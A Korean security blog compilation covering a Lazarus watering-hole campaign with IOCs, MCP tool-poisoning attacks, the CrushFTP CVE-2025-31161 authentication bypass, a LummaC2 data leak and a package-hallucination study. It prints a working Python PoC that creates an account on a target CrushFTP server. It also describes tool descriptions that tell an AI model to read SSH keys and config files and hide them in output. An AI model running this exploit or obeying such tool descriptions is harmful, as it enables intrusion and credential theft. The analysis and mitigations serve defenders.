1. 개요

- 북한 해킹그룹 라자루스가 Innorix Agent 제로데이 취약점을 악용해 국내 공급망 공격 (Operation SyncHole) 시도 [1][2]

- 워터링 홀서드파티 소프트웨어의 취약점을 결합해 국내 소프트웨어, IT, 금융, 반도체 제조, 통신 산업 등에 공격 시도

- 공격에 악용된 취약점들은 한국인터넷진흥원(KrCERT)과 개발사에 알려져 패치된 상태

2. 주요내용

2.1 초기 벡터

- 한국의 주요 언론 포털 웹사이트를 침해해 서버 측 스크립트 삽입 및 악성 도메인으로 리다이렉션

> 워터링 홀(Watering Hole) 공격으로 사용자를 악성 도메인으로 리다이렉션

 

- Cross EX 배포사를 위장한 피싱 사이트에는 악성 자바스크립트가 삽입돼 있었으며, 이를 통해 Cross EX의 취약점을 악용 및 악성코드 설치

> 삽입된 스크립트는 정상적인 SyncHost.exe를 실행하고 해당 프로세스에 ThreatNeedle 변종을 로드하는 셸코드 삽입

[사진 1] 피싱 사이트(좌) 및 Cross EX 악용 과정 요약(우)

- 워터링 홀(Watering Hole) 공격
> 공격 대상이 자주 방문하는 홈페이지를 사전에 침해한 후 공격 대상이 접속하면 공격을 시작

- Cross EX
> 금융이나 정부 웹사이트에서는 특정 보안 소프트웨어 설치가 필요
> 보안 소프트웨어는 브라우저와 상호 작용하기 위해 끊임없이 백그라운드에서 실행됨
> Cross EX는 다양한 브라우저 환경에서 이러한 보안 소프트웨어를 사용할 수 있도록 설계되었으며, 설치 직후를 제외하고는 사용자 권한으로 실행
> Cross EX가 악성코드 유포를 위해 악용된 정확한 방법은 파악되지 않았으나, 권한 상승을 달성한 것으로 추정

- ThreatNeedle [3]
> 라자루스가 2019년부터 암호화폐, 국방, 모바일 게임 기업을 공격하는 데 사용한 백도어

 

2.2 실행 흐름

- 총 4개의 서로 다른 악성코드 실행 체인 확인

[사진 2] 실행 흐름

단계 설명
1단계 악성코드 ① ThreatNeedle 변형
- 로더 버전코어 버전으로 구성
⒜ 로더 버전 : 2개의 구성 파일만 참조하고 4개의 명령어만 구현
⒝ 코어 버전 : 총 5개의 구성 파일(C_27098.NLS ~ C_27102.NLS)을 검색하며 총 37개의 명령어 포함
> 코어 버전은 C2로부터 특정 명령을 받아 지속성을 위해 추가 로더 파일을 생성

- Curve25519 알고리즘을 기반으로 임의의 키 쌍 생성
> 공개 키를 C2 서버로 전송한 후 공격자의 공개 키 수신
> 두 개의 키를 활용해 공유 키 생성 및 ChaCha20 알고리즘의 키로 사용해 암호화
> 데이터는 JSON 형식으로 송수신

② LPEClient
- 피해자 프로파일링(정보) 및 페이로드 전달에 사용되는 도구 [4]

③ wAgent 변형
- 접속에 성공한 C2 서버에 따라 form-data 또는 JSON 형식으로 데이터를 수신할 수 있음
> C2 통신 시, HTTP 요청 메세지의 Cookie 헤더에 '__Host-next-auth-token'를 포함
※ RSA 암호 연산을 수행하기 위해 GNU Multiple-Precision (GMP) 라이브러리를 사용
※ C++의 STL map을 사용하여 페이로드 관리
※ C2에서 추가 페이로드를 수신하여 메모리에 직접 로드하고 공유 객체 생성
※ 공유 객체를 통해 메인 모듈은 제공된 플러그인과 명령 매개변수 및 실행 결과 교환

④ Agamemnon Downloader 변형
- C2로부터 명령을 수신하고 ';;'를 구분자로하여 명령과 매개변수 분석 및 페이로드 실행
> 두 가지 명령 실행 방법
⒜ 멀웨어에서 일반적으로 사용되는 반사적 페이로드 로드
⒝ 오픈 소스 Tartarus-TpAllocInject 기술을 활용
※ 백신 및 EDR 솔루션 등을 우회하도록 설계되었지만, 페이로드 로드 방식은 각각 다름

⑤ Innorix Agent 악용
측면 이동(lateral movement)에 사용
> 악성코드는 Agamemnon Downloader를 통해 다운로드되어 Innorix Agent의 특정 버전을 악용해 추가 악성코드 설치
> Agamemnon Downloader부터 대상 IP, 파일 다운로드 URL, 파일 크기 등의 매개변수를 수신
⒜ 대상 IP에 Innorix Agent 설치 여부 확인
⒝ 실행 중일 경우 URL에서 합법적인 AppVShNotify.exe 파일과 악성 USERENV.dll 파일 다운
⒞ DLL 사이드로딩을 통해 USERENV.dll 실행하여 감염
※ Innorix Agent : 파일 송수신 프로그램
2단계 악성코드 ① SIGNBT
- 0.0.1버전과 1.2버전 활용
> 0.0.1버전
⒜ SyncHost.exe에서 메모리에 실행되어 추가 멀웨어(자격 증명 덤프 도구)를 가져온 초기 임플란트
⒝ C2 서버가 하드코딩되어 있음
> 1.2버전
⒜ 리소스에서 구성 파일 경로를 가져오고 해당 파일을 검색해 C2 서버 주소 획득
⒝ 두 개의 구성 파일 경로 확인
  경로 1 : C:\ProgramData\Samsung\SamsungSettings\settings.dat
  경로 2 : C:\ProgramData\Microsoft\DRM\Server\drm.ver
⒞ C2 서버로부터 RSA 공개 키를 수신하고, 해당 키로 무작위로 생성된 AES 키를 암호화
⒟ 모든 트래픽은 AES 키로 암호화

② COPPERHEDGE
- 내부 정찰(Internal Reconnaissance)에 사용
> 각 요청마다 3개 또는 4개의 매개변수를 C2서버로 HTTP 트래픽으로 전송
⒜ 첫 번째 HTTP 매개변수 이름: bih, aqs, org
⒝ 두 번째 HTTP 매개변수 이름: wib, rlz, uid
⒞ 세 번째 HTTP 매개변수 이름: tib, hash, lang
⒟ 네 번째 HTTP 매개변수 이름: ei, ie, oq

 

2.3 결론

- 최근 라자루스가 사용하는 악성코드는 경량화 및 모듈화를 포함해 빠르게 발전

> 새로 추가된 도구뿐만 아니라 과거에 사용되었던 악성코드 또한 변경되었으며, 앞으로 더 많은 변화가 예상됨

 

- 북한의 국내 대상 공급망 공격은 지속될 것

> 국내 많은 소프트웨어 개발 업체들이 이미 공격을 받았고, 공격자들 또한 악성코드를 개발하거나 개량하여 탐지를 회피하는데 노력 중

> 특히 C2 통신, 명령 수조, 데이터 송수신 방식 개선

 

- 이번 공격은 사전 탐지조기 분석의 중요성을 잘 보여준 사례

> 악성코드 행위 분석 과정에서 알려지지 않은 제로데이 취약점이 사전 탐지되어 추가 피해를 예방할 수 있었음

 

- 공격에 악용된 Innorix Agent 및 Cross EX의 취약점은 패치된 상태 [5][6]

 

- 관련 침해지표

구분 설명
파일 - Variant of the ThreatNeedle loader
> MD5 : f1bcb4c5aa35220757d09fc5feea193b
> 경로 : C:\System32\PCAuditex.dll

- Variant of the wAgent loader
> MD5 : dc0e17879d66ea9409cdf679bfea388c
> 경로 : C:\ProgramData\intel\util.dat

- COPPERHEDGE dropper
> MD5 : 2d47ef0089010d9b699cd1bbbc66f10a
> 경로 : %AppData%\hnc\_net.tmp
C2 - www[.]smartmanagerex[.]com
- hxxps://thek-portal[.]com/eng/career/index.asp
- hxxps://builsf[.]com/inc/left.php
- hxxps://www[.]rsdf[.]kr/wp-content/uploads/2024/01/index.php
- hxxp://www[.]shcpump[.]com/admin/form/skin/formBasic/style.php
- hxxps://htns[.]com/eng/skin/member/basic/skin.php
- hxxps://kadsm[.]org/skin/board/basic/write_comment_skin.php
- hxxp://bluekostec[.]com/eng/community/write.asp
- hxxp://dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php

3. 참고

[1] https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326
[2] https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-new-lazarus-led-cyberattacks-targeting-south-korean-supply-chains
[3] https://attack.mitre.org/software/S0665/
[4] https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient
[5] https://boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71686
[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=3&searchCnd2=
[7] https://www.dailysecu.com/news/articleView.html?idxno=165615
[8] https://www.boannews.com/media/view.asp?idx=137003&page=1&kind=1
[9] https://www.dailysecu.com/news/articleView.html?idxno=165681

1. 개요

- 모델 컨텍스트 프로토콜(Model Context Protocol, MCP)에서 Tool Poisoning Attack을 가능하게 하는 취약점 발견 [1]

- AI 모델의 민감 데이터 유출 및 무단 행위로 이어질 수 있는 취약점

2. 주요내용

2.1 모델 컨텍스트 프로토콜(Model Context Protocol, MCP)

- AI 모델이 외부 데이터나 도구와 연결될 때 사용하는 표준화된 통신 방식 [2][3][4]

> AI 모델이 특정 작업을 수행하기 위해 필요한 데이터를 외부에서 받아오거나, 외부 도구를 활용할 수 있도록 해주는 역할

특징 설명
개방형 표준
(Open Standard)
오픈소스로 공개되어 있어 누구나 자유롭게 사용하고 개선할 수 있음
> 앤트로픽이 개발하였으나, 어떤 AI 시스템에서도 사용할 수 있음
양방향 연결
(Two-way Connection)
- AI 모델과 데이터 소스 간의 양방향 통신 지원
> MCP에서는 AI 모델과 데이터 소스가 지속적으로 연결된 상태에서 서로 정보를 주고받을 수 있음
※ 기존 API 호출 방식에서는 AI가 데이터를 요청하면 서버가 한 번 응답하고 끝나는 방식
범용성과 표준화
(Universality and Standardization)
- 다양한 데이터 소스와 도구를 하나의 표준 프로토콜로 연결할 수 있게 해줌
> 개발자는 각 데이터 소스마다 별도의 커넥터를 유지할 필요 없이 단일 프로토콜을 통해 연결 가능
보안 및 신뢰성
(Security and Reliability)
- AI 모델과 데이터 소스 간의 안전하고 신뢰할 수 있는 연결을 제공
> 개인 정보 보호와 데이터 무결성을 유지할 수 있음

[사진 1] MCP 구성

구성요소 설명
MCP 호스트 MCP를 통해 데이터에 액세스하려는 Claude 데스크톱, IDE 또는 AI 도구와 같은 프로그램
MCP 클라이언트 서버와 1:1 연결을 유지하는 프로토콜 클라이언트
MCP 서버 표준화된 모델 컨텍스트 프로토콜을 통해 각각 특정 기능을 노출하는 경량 프로그램
로컬 데이터 소스 MCP 서버가 안전하게 액세스할 수 있는 컴퓨터의 파일, 데이터베이스 및 서비스
원격 서비스 MCP 서버가 연결할 수 있는 외부 시스템(예: API 활용)

 

2.2 Tool Poisoning Attack

- MCP 서버에서 제공하는 도구 설명에 악성 지시사항을 삽입

> 사용자는 정상으로 위장한 악성 MCP 도구를 실행

> AI 모델은 도구 설명의 지시사항을 그대로 실행하여 악성 행위를 수행

> Ex. 민감한 파일에 액세스하여 데이터 추출 및 공격자에게 전송하도록 지시할 수 있음

[사진 2] 공격 과정 요약

2.2.1 Direct Poisoning

- 도구 설명에 악성 명령을 포함하여 사용자가 MCP를 사용할 때 해당 명령이 실행되는 방식

> [사진 3]의 add()는 다음과 같은 도구 설명을 포함하며, AI 모델은 이를 수행하여 결과를 반환

① 민감한 구성 파일을 읽음 (~/.cursor/mcp.json)
② SSH 개인 키에 액세스 (~/.ssh/id_rsa)
③ 해당 데이터를 sidenote로 표시해 숨겨진 방식으로 전송
④ 사용자에게 두 숫자를 더하는 수학적 원리를 자세히 설명

[사진 3] 악성 명령을 포함한 MCP 도구 사용 결과

2.2.2 Rug Pull

- MCP 패키지가 최초 사용될 때에는 정상이었으나, 재실행될 때에는 악의적인 기능을 하도록 변경되어 악성 행위 수행

[사진 4] Rug Pull

2.2.3 Tool Shadowing

- 여러 MCP 도구를 사용할 때 정상 도구의 동작을 조작하여 악성 행위를 수행하도록 함

[사진 5] Tool Shadowing

2.3 대응방안

구분 설명
MCP 사용자 관점 - 검증되지 않은 MCP 서버 연결 지양
- MCP 도구 추가/승인 시 설명 및 권한 확인
- AI 에이전트의 의심스러운 활동(파일 접근, 통신 등)이 없는지 확인
MCP 개발자 관점 - Server 개발자
> 도구 설명은 정직하게 작성하고 숨겨진 악성 지침을 포함 금지
> 서버 보안 강화 및 도구 설명 내 악성 코드 삽입 가능성에 대한 대비

- Cliernt 개발자
> AI가 보는 전체 도구 설명을 사용자에게 투명하게 공개 및 위험 경고
> 도구 설명의 변경 여부를 검증 및 무단 변경 차단
> 서버/도구 간 영향을 차단하는 샌드박싱권한 제어 구현 권고

※ invariantlabs는 관련한 스캔 도구 제공 [5]

3. 참고

[1] https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
[2] https://github.com/modelcontextprotocol
[3] https://modelcontextprotocol.io/introduction
[4] https://dytis.tistory.com/112
[5] https://github.com/invariantlabs-ai/mcp-scan
[6] https://blackcon.github.io/posts/MCP-tool-poison-attack/

1. CrushFTP

- 파일 전송 솔루션

2. CVE-2025-31161

[사진 1] CVE-2025-31161 [2]

- CrushFTP의 파라미터 오버로딩으로 인한 인증 우회 취약점 (CVSS: 9.8) [3][4]

영향받는 버전
- CrushFTP 11.0.0 ≤ 11.3.0 / 10.0.0 ≤ 11.8.3

 

- CrushFTP는 버전 10부터 AWS S3와 호환되는 API를 제공

> 클라이언트가 Authorization 헤더를 포함하는 요청을 통해 S3 인증을 진행

> 서버는 AccessKey 값을 추출해 사용자를 식별한 다음 Signature 값을 검증해 인증을 수행

Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

 

- 취약점은 ServerSessionHTTP.java의 loginCheckHeaderAuth() 메서드에서 발생

> 해당 메서드는 사용자가 S3 스타일의 API를 요청했을 때 헤더의 Authorization 헤더를 처리

> 아래 코드에서 lookup_user_pass

① true인 경우 내부 저장소에서 비밀번호를 찾고

② false인 경우 제공된 비밀번호를 사용해야 하는지를 표시하는 값

> 또한 해당 값은 login_user_pass()의 첫 번째 매개변수로 전달

if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
    
    // Extract the username from credential field
    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
    
    // Initialize variables
    String user_pass = null;
    String user_name = s3_username3;
    boolean lookup_user_pass = true;  // Default to true - this is crucial!
    
    // Check if username contains a tilde
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    // In version 11.3.0, there's no security check here
    
    // Attempt to authenticate the user
    if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
        // Authentication succeeds
    }
}

 

- login_user_pass()에서 전달된 lookup_user_pass는 anyPass로 사용됨

> anyPass 값은 verified_user 함수를 호출하는데 인수로 사용

※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)

// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
    // Various validations and logging happen here
    
    if (user_name.length() <= 2000) {
        int length = user_pass.length();
        ServerStatus serverStatus = ServerStatus.thisObj;
        if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
            Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
            uiPUT("last_logged_command", "USER");
            
            // Numerous other checks and validations
            
            // Eventually we call verify_user with the anyPass parameter
            boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
            
            if (verified && this.user != null) {
                // Authentication success handling
                return true;
            }
        }
    }
    
    return false;
}

 

- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출

// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
    // Various user validation and formatting logic
    
    // The anyPass value is passed to the UserTools.ut.verify_user method
    this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass, 
        uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"), 
        uiIG("user_port"), this.server_item, loginReason, anyPass);
    
    // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
    if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
        this.user_info.put("plugin_user_auth_info", "Password incorrect.");
    }
    
    // Various other checks and return logic
    return this.user != null;
}

 

- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능

// Inside UserTools.java
public Properties verify_user(
    ServerStatus server_status_frame,
    String the_user,
    String the_password,
    String serverGroup,
    SessionCrush thisSession,
    int user_number,
    String user_ip,
    int user_port,
    Properties server_item,
    Properties loginReason,
    boolean anyPass
) {
    // User lookup and validation logic
    Properties user = this.getUser(serverGroup, the_user, true);
    
    // Here's the critical vulnerability:
    // If anyPass is true, password verification is skipped entirely
    if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
        return user;  // Authentication succeeds without any password check
    }
    
    // Otherwise normal password verification occurs
    if (user.getProperty("username").equalsIgnoreCase(the_user) && 
        check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
        return user;
    }
    
    // Authentication fails
    return null;
}

 

- 공격자는 다음과 같은 요청을 통해 인증 우회 가능

① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성

② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성

③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/

[사진 2] 과정 요약
[사진 3] 공격 예시

3. PoC [5]

# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser


def exploit(target_host, port, target_user, new_user, password):
    print("[+] Preparing Payloads")
    
    # First request details
    warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
    create_user_url = f"http://{target_host}:{port}/WebInterface/function/"


    headers = {
        "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
        "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
        "Connection": "close",
    }

    payload = {
        "command": "setUserItem",
        "data_action": "replace",
        "serverGroup": "MainUsers",
        "username": new_user,
        "user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
        "xmlItem": "user",
        "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
        "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
        "c2f": "31If"
    }

    # Execute requests sequentially
    print("  [-] Warming up the target")
    # we jsut fire a request and let it time out. 
    try:
        warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
        if warm_up_request.status_code == 200:
            print("  [-] Target is up and running")
    except requests.exceptions.ConnectionError:
        print("  [-] Request timed out, continuing with exploit")


    print("[+] Sending Account Create Request")
    create_user_request = requests.post(create_user_url, headers=headers, data=payload)
    if create_user_request.status_code != 200:
        print("  [-] Failed to send request")
        print("  [+] Status code:", create_user_request.status_code)
    if '<response_status>OK</response_status>' in create_user_request.text:
        print("  [!] User created successfully")



if __name__ == "__main__":
    parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
    parser.add_argument("--target_host", help="Target host")
    parser.add_argument("--port", type=int, help="Target port", default=8080)
    parser.add_argument("--target_user", help="Target user", default="crushadmin")
    parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
    parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")

    args = parser.parse_args()

    if not args.target_host:
        print("  [-] Target host not specified")
        parser.print_help()
        exit(1)

    exploit(
        target_host=args.target_host,
        port=args.port,
        target_user=args.target_user,
        new_user=args.new_user,
        password=args.password
    )

    print(f"[+] Exploit Complete you can now login with\n   [*] Username: {args.new_user}\n   [*] Password: {args.password}.")

4. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

> lookup_password 기능 비활성화
> Authorization 헤더 내 Credential 키 값 구성 검증
> 인증 로직 변경

제품명 영향받는 버전 해결 버전
CrushFTP 11.0.0 이상 ~ 11.3.0 이하 11.3.1
10.0.0 이상 ~ 10.8.3 이하 10.8.4

5. 참고

[1] https://www.crushftp.com/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-31161
[3] https://projectdiscovery.io/blog/crushftp-authentication-bypass
[4] https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis
[5] https://github.com/Immersive-Labs-Sec/CVE-2025-31161
[6] https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71705
[8] https://hackyboiz.github.io/2025/04/19/empty/CVE-2025-31161

1. InfoStealer

- 사용자의 시스템에 침투하여 정보를 탈취하는 멀웨어

- 주로 피싱 메일, 크랙 및 불법 소프트웨어 등을 통해 유포

> 계정 정보, 웹 브라우저 저장 정보 (쿠키, 자동 완성 등), 금융 정보 등을 탈취

> 탈취한 정보를 악용해 크리덴셜 스터핑 공격 등 추가 공격이나 금전적 이득을 취함

1.1 LummaC2

- LummaC2 InfoStealer는 소프트웨어 크랙 버전으로 위장하여 유포 [2]

- 사용자가 다운로드 및 실행하면 스크립트가 동작하여 악성코드에 감염

※ 실제 공격에 사용된 악성코드와 차이가 있을 수 있음

2. KS한국고용정보 내부 데이터 유출

- 25.04.05 공격자는 LummaC2 InfoStealer를 이용해 KS한국고용정보 공식 도메인(ksjob.co[.]kr)의 관리자 계정 탈취 [1]

> 해당 악성코드는 크리덴셜, 세션 토큰, 브라우저 자동저장 정보 등을 수집해 공격자에게 전달

 

- 25.04.19 탈취한 계정을 통해 내부 시스템 접근에 성공 및 데이터 탈취

> 유출된 데이터는 총 22GB 분량으로 기본 개인정보 개인 식별 및 사칭 가능성이 높은 문서들이 대거 포함

> 이름, 생년월일, 주민등록번호 뒷자리, 이메일, 주소, 전화번호, 비밀번호, 계좌번호 등 기본 개인정보

> 신분증 사본, 통장 사본, 임직원 사진, 근로계약서, 자필 서명, 급여명세서, 가족관계증명서, 주민등록등본, 혼인관계증명서 등 민감도가 높은 문서

※ 수년 전 퇴사한 임직원들의 정보까지 포함되어 있어 사측의 개인정보 보관 정책에 대한 비판 有

 

- 25.04.22 Exploit Forum(다크웹 해킹 포럼)에서 Thales 사용자는 해당 데이터를 15,000달러에 판매하겠다는 글 게시

> 모든 이메일 계정 접근권, SQL 데이터베이스, 재무자료, 문서, 직원 신원정보가 포함된다고 설명

3. 대응방안

- 이메일 열람 주의

- 정식 소프트웨어 사용

- 계정 정보 변경 (사이트 별 상이한 계정 정보 사용 등)

- 퇴직자 관련 정보/문서 삭제 등 퇴직자 관리 프로세스 마련

- 문서 보안 체계 강화

- 다크웹 기반 위협 인텔리전스 도입

4. 참고

[1] https://www.dailysecu.com/news/articleView.html?idxno=165636
[2] https://asec.ahnlab.com/ko/86396/

1. 개요

- LLM 기반 코드 생성 AI의 발전으로 생산성이 높아지는 등 효율성과 편의성이 크게 향상됨

- 그러나 LLM이 실제로 존재하지 않는 패키지에 대한 참조를 포함하거나 추천하는 코드를 생성하는 패키지 환각(Package Hallucination) 문제가 발생

- 공격자는 환각 또는 가상의 패키지와 동일한 이름으로 악성 패키지를 오픈소스 리포지토리에 게시하는 방식으로 공급망 공격을 수행할 수 있음

> 전체 코드베이스 또는 소프트웨어 종속성 체인을 통해 확산되어 해당 패키지에 의존하는 모든 코드를 감염시킬 수 있음

2. 주요내용

2.1 패키지 혼동 공격

- 최신 소프트웨어 개발은 중앙 집중식 패키지 리포지토리(PyPI, npm )에 의존

> 누구나 새로운 코드 패키지/라이브러리를 업로드할 수 있어 멀웨어 배포에 매력적

> 종종 합법적인 패키지를 모방하기 위해 악성 패키지의 이름을 의도적으로 변경

> 패키지/라이브러리는 종종 다른 패키지에 의존하여 작동하기 때문에 광범위한 의존성 트리를 생성

> 단일 패키지를 감염시키는 것만으로도 전체 소프트웨어 또는 에코시스템을 감염시킬 수 있음

 

- LLM이 계속해서 발전된 소스 코드 생성 기능을 입증 (정확도: 21.06 25% -> 24.04 96% 급증)

> 취약성을 유발할 수 있는 안전하지 않거나 잘못된 코드의 생성 가능성에 대한 우려 또한 증가

> LLM이 오해의 소지가 있거나 완전히 허구의 정보를 생성하는 환각은 데이터, 훈련, 추론의 세 가지 주요 근본 원인으로 발생할 수 있음

① 데이터 관련 환각 : 소스 데이터 자체에 잘못된 정보, 편향, 불완전한 기록 등의 결함이 있을 때 발생

② 훈련 관련 환각 : 아키텍처 결함 또는 훈련 중 최적이 아닌 훈련 목표는 다운스트림 환각을 초래할 수 있음

③ 추론 관련 환각 : 불완전한 코딩 전략 및 불완전한 디코딩 표현에 의한 환각

 

- 공격자는 이러한 환각 패키지와 동일한 이름의 악성 패키지를 빠르게 생성해 간단하고 효과적인 패키지 혼동 공격을 수행할 수 있음

> LLM이 생성한 코드를 면밀히 검토하지 않거나 실수 등으로 악성 패키지를 코드베이스에 포함

> 다른 패키지 및 코드의 종속성 체인에 포함될 가능성이 있어 다수의 코드베이스에 연쇄적으로 영향을 끼칠 수 있음

[사진 1] 패키지 환각 공격

2.2 가설ㆍ질문 및 실험 설계

- 가설 : 패키지 혼동 공격을 실행하려는 공격자와 LLM이 제공한 코드를 충분한 검증 없이 실행하는 사용자가 있음

- 다섯 가지 연구 질문(RQ)

① RQ1 : LLM을 사용해 Python JavaScript 코드를 생성할 때, 패키지 환각은 얼마나 자주 발생하는가? (패키지 환각 발생률)

② RQ2 : 패키지 환각은 특정 모델 설정(: 학습 데이터, 디코딩 전략 등)에 따라 어떤 영향을 받는가? (모델 설정의 영향)

③ RQ3 : 패키지 환각과 관련하여 일반적으로 관찰되는 LLM의 동작 특성은 무엇인가? (LLM 동작 특성)

④ RQ4 : 관찰된 패키지 환각에는 어떤 대표적인 특성이나 속성이 있는가? (패키지 환각의 특징)

⑤ RQ5 : 기존 문헌의 모범 사례 및 본 연구 결과를 바탕으로 패키지 환각을 효과적으로 완화할 수 있는가? (완화 전략)

실험 설계
구분 설명
프롬프트 데이터셋 구성 - 목표: 일반적인 사용자들이 일반적으로 요청하는 코딩 작업을 정확하고 포괄적으로 표현하는 데이터 세트를 개발하는 것

① Stack Overflow 데이터 세트
> Python 및 JavaScript의 인기 있는 240개 태그 * 태그 당 20개 질문 * 최신/과거 = 9,600개 프롬프트

② LLM에서 생성된 데이터 세트
> PyPI와 npm의 인기 패키지 설명을 기반으로 Llama-2 70B 모델에 해당 패키지를 사용하는 코드 생성을 요청 (4,800개 프롬프트 생성)
> 4,800 * 최신/과거 = 9,600개 프롬프트

Python, JavaScript 각 19,200개
코드 생성 모델 선택 - 모델 선택 : 24.01.20 EvalPlus 리더보드를 기준으로 높은 순위의 모델 16개 선택
> 상용 모델 : ChatGPT 3.5 Turbo, ChatGPT 4.0, ChatGPT 4.0 Turbo
> 무료 모델 : CodeLlama, DeepSeek, Magicoder 등 13개

- 언어 선택 : Python, JavaScript
> 대중성 및 중앙 집중식 오픈 소스 리포지토리에 의존하기 때문

- 총 코드 샘플 수 576,000개
휴리스틱 - LLM 출력 또는 생성된 코드에서 환각의 존재 유무를 판별을 위해 패키지 이름 추출 필요
> 단순히 import, require를 파싱 하는 것만으로는 패키지를 정확히 식별하는 것이 불가능하기 때문
> 코드에서 패키지 이름을 추론하기 위한 세 가지 휴리스틱 적용

① 휴리스틱 1 : 설치 명령어 기반 탐지
- 생성된 Python 및 JavaScript 코드에서 "pip install" 및 "npm install" 명령 파싱 및 패키지 이름 추출
> 해당 명령은 지정된 패키지를 찾고, 의존성을 해결하고 현재 환경에 설치함
> 패키지 이름을 탐지하는 가장 직접적인 방법이며, 환각 탐지에도 유효함(악성코드를 설치하기 때문)
> 모델에게 이러한 명령을 직접 요청하지 않고, 자연스럽게 생성된 경우만 포함

② 휴리스틱 2 : 코드 기반 질의
- 생성된 코드를 실행하는데 필요한 패키지를 모델에 질의
> 사용자가 LLM으로 코드를 생성한 후 실행 과정에서 발생한 오류를 다시 묻는 행동을 모방한 것
> 직관적인 프로세스를 재현하여 생성된 코드에 필요한 패키지 이름을 식별

③ 휴리스틱 3 : 프롬프트 기반 질의
- 코드를 생성했던 원래 프롬프트를 다시 모델에 입력해 작업을 수행하는데 필요한 패키지 질의
> 필요한 패키지가 명시적으로 언급되지 않은 경우 사용자가 패키지를 다시 묻는 행동을 모방한 것

